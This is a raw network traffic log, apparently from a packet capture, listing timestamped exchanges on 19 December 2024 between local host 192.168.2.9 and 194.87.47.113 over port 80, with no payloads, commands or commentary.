Dec 19, 2024 08:01:11.965286016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.965924025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.995995998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.996045113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.996058941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.996150017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.996195078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.996361017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.996480942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.996495962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.996510983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.996534109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.996570110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.997248888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.997296095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.997311115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.997338057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.998033047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.998080015 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.998161077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.998178959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.998214006 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.998800993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.998857975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.998872995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.998902082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.999614000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.999651909 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.999718904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.999733925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.999771118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.000354052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.000422001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.000462055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.000653028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.000694990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.000715971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.000734091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.001460075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.001501083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.001549006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.001563072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.001597881 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.002247095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.002262115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.002276897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.002299070 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.003097057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.003110886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.003124952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.003142118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.003159046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.003823996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.003837109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.003851891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.003865004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.004610062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.004625082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.004640102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.004656076 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.004673958 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.005372047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.005393028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.005408049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.005429029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.006135941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.006164074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.006181002 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.006200075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.006239891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.006880999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.006948948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.006963968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.006987095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.007646084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.007709980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.007812023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.007827997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.007863045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.008456945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.008474112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.008503914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.008512020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.009232044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.009246111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.009262085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.009275913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.009313107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.009989023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.010037899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.010054111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.010081053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.010736942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.010781050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.010874987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.010890007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.010926008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.011614084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.011627913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.011641979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.011666059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.012310982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.012325048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.012339115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.012356043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.012387037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.013047934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.013099909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.013115883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.013142109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.013812065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.013835907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.013848066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.013856888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.013890028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.018076897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.018091917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.018105984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.018137932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.018304110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.018357038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.018887043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.018901110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.018939018 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.019093990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.019156933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.019171000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.019191980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.019908905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.019948959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.019987106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.020001888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.020032883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.020860910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.020876884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.020891905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.020914078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.021940947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.021954060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.021967888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.021985054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.022001982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.022891045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.022905111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.022934914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.155400991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.155428886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.155448914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.155595064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.156176090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.156189919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.156204939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.156218052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.156248093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.156275988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.156685114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.156698942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.156713009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.156728029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.156734943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.156764984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.158898115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.158912897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.158926964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.158976078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.188719034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.188739061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.188755035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.188770056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.188802004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.188848019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.189336061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.189349890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.189366102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.189379930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.189393997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.189415932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.190510035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.190527916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.190543890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.190567970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.190582037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.190917969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.190973997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.191018105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.191237926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.191253901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.191267967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.191301107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.192136049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.192151070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.192167044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.192183971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.192203045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.192728996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.192795992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.192810059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.193016052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.193495989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.193536997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.193547010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.193562984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.193588972 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.194292068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.194374084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.194389105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.194413900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.195126057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.195139885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.195154905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.195173025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.195203066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.195839882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.195923090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.195940018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.195960045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.196599007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.196639061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.196651936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.196666002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.196701050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.197357893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.197407961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.197423935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.197438955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.198136091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.198179007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.198246956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.198261976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.198304892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.198934078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.198961020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.198981047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.198998928 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.199695110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.199728012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.199743032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.199757099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.199786901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.200489044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.200536013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.200556040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.200576067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.201247931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.201282024 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.201292992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.201308012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.201335907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.202050924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.202065945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.202080011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.202126980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.202781916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.202815056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.202821970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.202836037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.202872992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.203562021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.203593969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.203608036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.203632116 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.204382896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.204397917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.204417944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.204477072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.204477072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.205236912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.205486059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.205499887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.205553055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.206146955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.206161022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.206173897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.206191063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.206231117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.210134983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.210149050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.210163116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.210186958 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.210445881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.210483074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.210494041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.210510015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.210536957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.211318016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.211339951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.211355925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.211385965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.212260008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.212274075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.212292910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.212307930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.212337017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.212888956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.212903976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.212922096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.212943077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.213649035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.213664055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.213677883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.213685989 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.213711977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.214430094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.214464903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.214498043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.347393036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.347562075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.347577095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.347624063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.347735882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.347748995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.347759962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.347790003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.347834110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.348510027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.348531008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.348541021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.348582983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.349255085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.349311113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.349489927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.349502087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.349534988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.350068092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.350143909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.350187063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.380353928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.380506039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.380516052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.380553007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.380556107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.380568027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.380592108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.381251097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.381263971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.381273985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.381313086 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.381342888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.381993055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.382004976 CET	80	49739	194.87.47.113	192.168.2.9
